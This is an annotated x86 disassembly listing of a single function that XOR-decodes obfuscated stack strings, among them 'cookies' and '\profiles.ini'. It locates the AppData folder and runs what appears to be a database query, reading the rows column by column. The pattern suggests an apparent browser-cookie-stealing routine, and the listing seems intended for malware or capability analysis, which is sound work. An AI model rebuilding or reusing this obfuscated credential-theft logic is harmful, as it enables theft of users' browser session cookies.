Function at 0x9c86b6
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa95e80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x14f0
push ebx
call fcn.00a6cf90
push esi
mov esi, ecx
mov dword [ebp - 0x11c], esi
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.009f6b10
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x24], 1
mov eax, esp
lea ecx, [ebp - 0xc0]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.009f2f50
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x34], 0x1a1f000d
mov dword [ebp - 0x30], 0x7161b
mov byte [ebp - 0x2c], 1
nop
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x9c8720
lea eax, [ebp - 0x34]
mov byte [ebp - 0x2c], 0
push eax
mov ecx, esi
call fcn.009f9120
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0xc0]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb8]
mov byte [ebp - 0xc0], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xc0]
mov dword [edi + 8], eax
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], esi
call fcn.009f2bb0
push 0x104
lea eax, [ebp - 0x500]
push 0
push eax
call fcn.00a6e210
add esp, 0xc
lea eax, [ebp - 0x500]
push eax
push 0
push 0
push 0x1a
push 0
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x500]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c87b6
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x9ca07a
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x500]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x208]
call fcn.009fca20
mov dword [ebp - 0x24], 0x81
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x68], 0x1e021f32
mov dword [ebp - 0x64], 0x10181a14
mov dword [ebp - 0x60], 0x17115905
mov word [ebp - 0x5c], 0x13
mov byte [ebp - 0x5a], 1
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0xd
jb 0x9c8821
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x5a], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c8840
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x9ca07f
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x68]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1e0]
call fcn.009fca20
mov esi, 0xc1
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
cmovae eax, dword [ebp - 0x1e0]
push eax
push 0x1000
lea eax, [ebp - 0x1500]
push eax
nop
nop
nop
nop
nop
nop
lea edi, [ebp - 0x1500]
mov dword [ebp - 0x114], edi
nop word [eax + eax]
mov dword [ebp - 0x91], 0x171f1d3e
xor ecx, ecx
mov dword [ebp - 0x8d], 0x111f1b
mov byte [ebp - 0x89], 1
nop dword [eax]
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 7
jb 0x9c88f0
push 7
lea eax, [ebp - 0x91]
mov byte [ebp - 0x89], 0
push eax
push edi
call fcn.00a7980e
add esp, 0xc
test eax, eax
jne 0x9c9f8d
push 0x104
push eax
lea eax, [ebp - 0x3f8]
push eax
call fcn.00a6e210
add esp, 0xc
mov dword [ebp - 0x52], 0x19040e3e
cmp dword [ebp - 0x1cc], 0x10
lea edx, [ebp - 0x1e0]
mov word [ebp - 0x4e], 0x100
cmovae edx, dword [ebp - 0x1e0]
xor ecx, ecx
nop word [eax + eax]
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 4
jb 0x9c8960
push edx
push 0x104
lea eax, [ebp - 0x3f8]
mov byte [ebp - 0x4d], 0
push eax
push 0
lea eax, [ebp - 0x52]
push eax
push edi
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x43]
mov word [ebp - 0x43], 0x5c
mov byte [ebp - 0x41], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c89a0
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x9ca07a
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x43]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf0]
call fcn.009fca20
or esi, 4
mov dword [ebp - 0x24], esi
lea eax, [ebp - 0x3f8]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xf0]
call fcn.009f4e20
or esi, 8
mov dword [ebp - 0x24], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x9c8a70
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9c8a66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c8ab2
sub ecx, edx
lea eax, [ebp - 0x3f8]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00992810
mov byte [ebp - 4], 9
lea edi, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0x10
mov esi, dword [ebp - 0xc8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x9c8bdf
push esi
push 0x2f
push edi
call fcn.00a6fa00
add esp, 0xc
test eax, eax
je 0x9c8bdf
sub eax, edi
cmp eax, 0xffffffff
je 0x9c8bdf
sub esp, 0x18
mov word [ebp - 0x55], 0x2f
mov edx, esp
mov byte [ebp - 0x53], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x55]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c8b40
sub ecx, esi
lea eax, [ebp - 0x55]
push ecx
push eax
mov ecx, edx
call fcn.00992810
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.009f5110
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.0099be90
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x238]
mov esi, dword [ebp - 0x23c]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x9c8bca
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x9c8bbd
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.009f4cf0
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.009f7300
mov esi, dword [ebp - 0xc8]
cmp dword [ebp - 0xc4], 0x10
lea edi, [ebp - 0xd8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x9c8cd3
push esi
push 0x5c
push edi
call fcn.00a6fa00
add esp, 0xc
test eax, eax
je 0x9c8cd3
sub eax, edi
cmp eax, 0xffffffff
je 0x9c8cd3
sub esp, 0x18
mov word [ebp - 0x46], 0x5c
mov edx, esp
mov byte [ebp - 0x44], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x46]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c8c46
sub ecx, esi
lea eax, [ebp - 0x46]
push ecx
push eax
mov ecx, edx
call fcn.00992810
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.009f5110
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.0099be90
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x68]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x9c8cc7
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x9c8cba
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.009f4cf0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.009f7300
movaps xmm0, xmmword [0xab3dc0]
xor ecx, ecx
movups xmmword [ebp - 0x101], xmm0
mov byte [ebp - 0xf1], 1
nop word [eax + eax]
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x101], al
inc ecx
cmp ecx, 0xf
jb 0x9c8cf0
lea ecx, [ebp - 0x101]
mov byte [ebp - 0xf1], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c8d11
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x244]
sub eax, edx
cmp eax, ecx
jb 0x9ca07a
cmp dword [ebp - 0x240], 0x10
lea eax, [ebp - 0x254]
push ecx
cmovae eax, dword [ebp - 0x254]
lea ecx, [ebp - 0x101]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c8]
call fcn.009fca20
mov esi, dword [ebp - 0x24]
or esi, 2
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0x1000d1c
xor ecx, ecx
nop
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 2
jb 0x9c8d70
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x1c8]
mov byte [ebp - 0x25], 0
cmovae eax, dword [ebp - 0x1c8]
push ecx
push eax
call fcn.00a72080
add esp, 8
test eax, eax
je 0x9c9e97
push eax
call fcn.00a75908
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xb8]
push 0
mov byte [ebp - 0xc0], 0
call fcn.009f6b10
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x160]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.009f2f50
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0xc0]
test al, al
jne 0x9c8e64
push 8
mov byte [ebp - 0xc0], 1
call fcn.00a6bfb1
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10d]
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x230], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00a6bfb1
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0xb8], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x9c8e72
cmp al, 1
jne 0x9ca089
mov esi, dword [ebp - 0xb8]
lea eax, [ebp - 0xd8]
mov ecx, esi
push eax
call fcn.009f6ce0
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x160]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x158]
mov byte [ebp - 0x160], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x160]
mov dword [edi + 8], eax
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], esi
call fcn.009f2bb0
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x1c8]
lea edx, [ebp - 0x118]
cmovae ecx, dword [ebp - 0x1c8]
call fcn.009a3fa0
test eax, eax
jne 0x9c9e3a
movaps xmm0, xmmword [0xab4d40]
xor ecx, ecx
movups xmmword [ebp - 0x2a3], xmm0
mov dword [ebp - 0x263], 0xdedd8fe3
movaps xmm0, xmmword [0xab5470]
movups xmmword [ebp - 0x293], xmm0
mov dword [ebp - 0x25f], 0xdad7ecc8
movaps xmm0, xmmword [0xab50c0]
movups xmmword [ebp - 0x283], xmm0
mov dword [ebp - 0x25b], 0xdcd1dcd9
movaps xmm0, xmmword [0xab5400]
movups xmmword [ebp - 0x273], xmm0
mov word [ebp - 0x257], 0xc9
mov byte [ebp - 0x255], 1
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x2a3], al
inc ecx
cmp ecx, 0x4d
jb 0x9c8f54
mov ecx, dword [ebp - 0x118]
lea eax, [ebp - 0x20]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x2a3]
mov byte [ebp - 0x255], 0
call fcn.00a51930
add esp, 0x14
test eax, eax
jne 0x9c9e2f
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.00a2e270
cmp eax, 0x64
jne 0x9c9db7
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x128]
push 0
mov byte [ebp - 0x130], 0
call fcn.009f6b10
mov byte [ebp - 4], 0x16
test edi, edi
je 0x9c901e
cmp dword [edi + 0x2c], 0
je 0x9c8ff9
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x9c8ff9
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c8ff4
push eax
call dword [fcn.00ac2d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x9c9023
mov eax, dword [edi]
test eax, eax
je 0x9c901e
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9010
push eax
call dword [fcn.00ac2d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00a1cc20
add esp, 0xc
mov ecx, 0xaad4d8
mov dl, 1
call fcn.00a2b140
mov dword [ebp - 0x18], eax
test edi, edi
je 0x9c9084
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x9c9067
cmp byte [esi + 0x1e], 0
jne 0x9c904a
mov edx, esi
cmp ecx, 0xc0a
jne 0x9c9062
push 0
push 7
push esi
call fcn.00a1cc20
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x9c906e
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x9c9084
push eax
call dword [fcn.00ac2d28]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x170], 3
push 0x18
movq qword [ebp - 0x168], xmm0
call fcn.00a6bfb1
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x224], esi
mov byte [ebp - 4], 0x17
xorps xmm0, xmm0
mov edx, dword [ebp - 0x18]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c90d0
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00992810
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x168], esi
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x7f], 0x101d000a
mov dword [ebp - 0x7b], 0x1001d1b
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 6
jb 0x9c9107
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x78], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.009f9120
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x164]
mov edi, dword [ebp - 0x14]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x170], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x168], ecx
lea ecx, [ebp - 0x170]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x164], edx
call fcn.009f2bb0
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x49]
xorps xmm0, xmm0
mov word [ebp - 0x49], 0x31
mov byte [ebp - 0x47], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c9196
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00992810
mov byte [ebp - 4], 0x19
test edi, edi
je 0x9c9208
cmp dword [edi + 0x2c], 0
je 0x9c91e3
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x9c91e3
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c91db
push eax
call dword [fcn.00ac2d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x9c920d
mov eax, dword [edi]
test eax, eax
je 0x9c9208
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c91fa
push eax
call dword [fcn.00ac2d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00a1cc20
add esp, 0xc
mov ecx, 0xaad4d8
mov dl, 1
call fcn.00a2b140
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x9c9273
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x9c9253
cmp byte [esi + 0x1e], 0
jne 0x9c9236
mov eax, esi
cmp ecx, 0xc0a
jne 0x9c924e
push 0
push 7
push esi
call fcn.00a1cc20
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x9c925a
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9270
push eax
call dword [fcn.00ac2d28]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xf8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0
movups xmmword [ebp - 0x108], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c9296
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x108]
call fcn.00992810
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
mov ecx, dword [ebp - 0xf0]
xorps xmm0, xmm0
push dword [ebp - 0xe0]
mov esi, dword [ebp - 0x108]
cmovae eax, ecx
mov edx, dword [ebp - 0xf8]
setae byte [ebp - 0x19]
cmp dword [ebp - 0xf4], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x108]
cmovae ecx, esi
movq qword [ebp - 0x178], xmm0
push eax
setae byte [ebp - 0x1a]
mov byte [ebp - 0x180], 4
call fcn.00a04d20
mov byte [ebp - 0x140], al
add esp, 8
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov dword [ebp - 0x9b], 0x1041b06
mov dword [ebp - 0x97], 0xc181d3d
mov word [ebp - 0x93], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x9b], al
inc ecx
cmp ecx, 8
jb 0x9c9350
lea eax, [ebp - 0x9b]
mov byte [ebp - 0x92], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.009f9120
mov edi, dword [ebp - 0x140]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x180], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x13c]
mov dword [ebp - 0x178], ecx
lea ecx, [ebp - 0x180]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x174], edx
call fcn.009f2bb0
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x19
mov edi, dword [ebp - 0x20]
je 0x9c93f0
mov ecx, dword [ebp - 0xf4]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x9c93e6
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push esi
call fcn.00a6c232
add esp, 8
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x16
je 0x9c942c
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9c9422
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
test edi, edi
je 0x9c9481
cmp dword [edi + 0x2c], 0
je 0x9c945c
mov eax, 2
cmp ax, word [edi + 0x30]
jae 0x9c945c
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9454
push eax
call dword [fcn.00ac2d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x50
jmp 0x9c9486
mov eax, dword [edi]
test eax, eax
je 0x9c9481
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9473
push eax
call dword [fcn.00ac2d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00a1cc20
add esp, 0xc
mov ecx, 0xaad4d8
mov dl, 1
call fcn.00a2b140
mov dword [ebp - 0x14], eax
test edi, edi
je 0x9c94e7
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x9c94ca
cmp byte [esi + 0x1e], 0
jne 0x9c94ad
mov eax, esi
cmp ecx, 0xc0a
jne 0x9c94c5
push 0
push 7
push esi
call fcn.00a1cc20
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x9c94d1
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c94e7
push eax
call dword [fcn.00ac2d28]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x190], 3
push 0x18
movq qword [ebp - 0x188], xmm0
call fcn.00a6bfb1
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10b]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], esi
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c9540
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00992810
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x188], esi
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x40], 0x19040e1e
mov word [ebp - 0x3c], 0x100
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 4
jb 0x9c9576
lea eax, [ebp - 0x40]
mov byte [ebp - 0x3b], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.009f9120
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x184]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x190], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x188], ecx
lea ecx, [ebp - 0x190]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x184], edx
call fcn.009f2bb0
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x4c]
xorps xmm0, xmm0
mov word [ebp - 0x4c], 0x31
mov byte [ebp - 0x4a], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c9605
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.00992810
mov byte [ebp - 4], 0x1e
test edi, edi
je 0x9c9677
cmp dword [edi + 0x2c], 0
je 0x9c9652
mov eax, 3
cmp ax, word [edi + 0x30]
jae 0x9c9652
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c964a
push eax
call dword [fcn.00ac2d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x78
jmp 0x9c967c
mov eax, dword [edi]
test eax, eax
je 0x9c9677
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9669
push eax
call dword [fcn.00ac2d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00a1cc20
add esp, 0xc
mov ecx, 0xaad4d8
mov dl, 1
call fcn.00a2b140
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x9c96e2
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x9c96c2
cmp byte [esi + 0x1e], 0
jne 0x9c96a5
mov eax, esi
cmp ecx, 0xc0a
jne 0x9c96bd
push 0
push 7
push esi
call fcn.00a1cc20
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x9c96c9
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c96df
push eax
call dword [fcn.00ac2d28]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xe0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c9705
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.00992810
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
xorps xmm0, xmm0
push dword [ebp - 0xf8]
mov esi, dword [ebp - 0xf0]
cmovae eax, ecx
mov edx, dword [ebp - 0xe0]
setae byte [ebp - 0x1a]
cmp dword [ebp - 0xdc], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xf0]
cmovae ecx, esi
movq qword [ebp - 0x1e8], xmm0
push eax
setae byte [ebp - 0x19]
mov byte [ebp - 0x1f0], 4
call fcn.00a04d20
mov byte [ebp - 0x138], al
add esp, 8
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1e4], eax
mov byte [ebp - 4], 0x20
xor ecx, ecx
mov dword [ebp - 0x77], 0x4130a1d
mov dword [ebp - 0x73], 0x1001600
nop dword [eax + eax]
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 6
jb 0x9c97b0
lea eax, [ebp - 0x77]
mov byte [ebp - 0x70], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.009f9120
mov edi, dword [ebp - 0x138]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x1f0], cl
mov ecx, dword [eax + 8]
